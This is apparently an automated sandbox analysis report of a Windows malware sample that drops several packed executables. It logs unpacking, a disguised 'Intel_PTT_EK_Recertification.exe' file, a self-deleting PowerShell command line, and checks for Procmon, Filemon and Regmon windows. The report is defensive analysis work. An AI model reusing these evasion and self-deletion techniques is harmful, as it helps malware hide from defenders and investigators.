Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 3198976 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of mfipcauo is bigger than: 0x100000 < 0x2a1200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.f50000.0.unpack :EW;.rsrc:W;.idata :W;mfipcauo:EW;hkjptfdi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mfipcauo:EW;hkjptfdi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.30000.0.unpack :EW;.rsrc:W;.idata :W;mfipcauo:EW;hkjptfdi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mfipcauo:EW;hkjptfdi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.30000.0.unpack :EW;.rsrc:W;.idata :W;mfipcauo:EW;hkjptfdi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mfipcauo:EW;hkjptfdi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.30000.0.unpack :EW;.rsrc:W;.idata :W;mfipcauo:EW;hkjptfdi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mfipcauo:EW;hkjptfdi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Unpacked PE file: 9.2.8ef456fdd1.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ydbpfsba:EW;qxyxlwfa:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Unpacked PE file: 41.2.d6cdb1061b.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.00cfg:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe

Unpacked PE file: 41.2.d6cdb1061b.exe.400000.0.unpack

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: Bunifu_UI_v1.5.3.dll.9.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x1bb6bd should be: 0x1c0f1a
Source: Intel_PTT_EK_Recertification.exe.23.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1e7dd0 should be: 0x1ed3f1
Source: dll[1].9.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: 7z.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: in.exe.21.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: 7z.dll.10.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: 8ef456fdd1.exe.6.dr	Static PE information: real checksum: 0x1e7dd0 should be: 0x1ed3f1
Source: bb21432993.exe.6.dr	Static PE information: real checksum: 0x1bb6bd should be: 0x1c0f1a
Source: file.exe	Static PE information: real checksum: 0x310acd should be: 0x318c2d
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x310acd should be: 0x318c2d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: mfipcauo
Source: file.exe	Static PE information: section name: hkjptfdi
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: mfipcauo
Source: skotes.exe.0.dr	Static PE information: section name: hkjptfdi
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: ydbpfsba
Source: random[1].exe1.6.dr	Static PE information: section name: qxyxlwfa
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 8ef456fdd1.exe.6.dr	Static PE information: section name:
Source: 8ef456fdd1.exe.6.dr	Static PE information: section name: .idata
Source: 8ef456fdd1.exe.6.dr	Static PE information: section name:
Source: 8ef456fdd1.exe.6.dr	Static PE information: section name: ydbpfsba
Source: 8ef456fdd1.exe.6.dr	Static PE information: section name: qxyxlwfa
Source: 8ef456fdd1.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: gyzmglan
Source: random[2].exe0.6.dr	Static PE information: section name: erycfrrz
Source: random[2].exe0.6.dr	Static PE information: section name: .taggant
Source: bb21432993.exe.6.dr	Static PE information: section name:
Source: bb21432993.exe.6.dr	Static PE information: section name: .idata
Source: bb21432993.exe.6.dr	Static PE information: section name:
Source: bb21432993.exe.6.dr	Static PE information: section name: gyzmglan
Source: bb21432993.exe.6.dr	Static PE information: section name: erycfrrz
Source: bb21432993.exe.6.dr	Static PE information: section name: .taggant
Source: in.exe.21.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.23.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6D91C push ecx; ret	0_2_00F6D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01067B6E push ebp; mov dword ptr [esp], edi	0_2_01067BC4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01067B6E push edx; mov dword ptr [esp], eax	0_2_01067BDE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01067B6E push 688501C9h; mov dword ptr [esp], eax	0_2_01067C24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01067B6E push 35C6259Bh; mov dword ptr [esp], edx	0_2_01067C79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01067B6E push 3C298A2Ch; mov dword ptr [esp], esi	0_2_01067C81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01067B6E push 050CF63Dh; mov dword ptr [esp], edx	0_2_01067CF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01067B6E push 45465F57h; mov dword ptr [esp], edx	0_2_01067D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F61359 push es; ret	0_2_00F6135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0004D91C push ecx; ret	1_2_0004D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0004D91C push ecx; ret	2_2_0004D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0004D91C push ecx; ret	6_2_0004D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0006DEDB push ss; iretd	6_2_0006DEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0004DFC6 push ecx; ret	6_2_0004DFD9
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_3_014FFC14 push eax; ret	7_3_014FFCD9
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_3_014FFB2C push eax; ret	7_3_014FFCD9
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_3_0150AB3B push edi; iretd	7_3_0150AB3C
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_3_014FFBFA push eax; ret	7_3_014FFCD9
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00F35EA5 push 03FFFFF9h; ret	7_2_00F35EAA
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043CA60 push eax; mov dword ptr [esp], 11102FFEh	7_2_0043CA63
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00439F70 push eax; mov dword ptr [esp], 60616263h	7_2_00439F7F

Source: file.exe	Static PE information: section name: entropy: 7.0629277379768025
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.0629277379768025
Source: random[1].exe1.6.dr	Static PE information: section name: ydbpfsba entropy: 7.941997976065916
Source: 8ef456fdd1.exe.6.dr	Static PE information: section name: ydbpfsba entropy: 7.941997976065916
Source: random[2].exe0.6.dr	Static PE information: section name: gyzmglan entropy: 7.9546481118793295
Source: bb21432993.exe.6.dr	Static PE information: section name: gyzmglan entropy: 7.9546481118793295

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\dll[1]	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	File created: C:\Users\user\AppData\Local\Temp\N4e26fwGw3w\Bunifu_UI_v1.5.3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\dll[1]

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
